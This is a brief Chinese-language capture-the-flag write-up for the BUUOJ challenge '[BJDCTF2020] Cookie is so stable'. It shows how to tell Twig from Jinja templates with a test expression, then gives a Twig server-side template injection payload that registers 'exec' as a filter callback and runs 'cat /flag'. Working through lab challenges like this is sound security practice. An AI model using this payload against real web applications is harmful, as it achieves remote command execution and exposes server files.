BUUOJ刷题记录 [BJDCTF2020]Cookie is so stable

BUUOJ刷题记录 [BJDCTF2020]Cookie is so stable

ssti注入
先测引擎

Twig 
{{7*'7'}}  #输出49
Jinja
{{7*'7'}}  #输出7777777

参考这篇文章

Twig模板对应的payload：

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}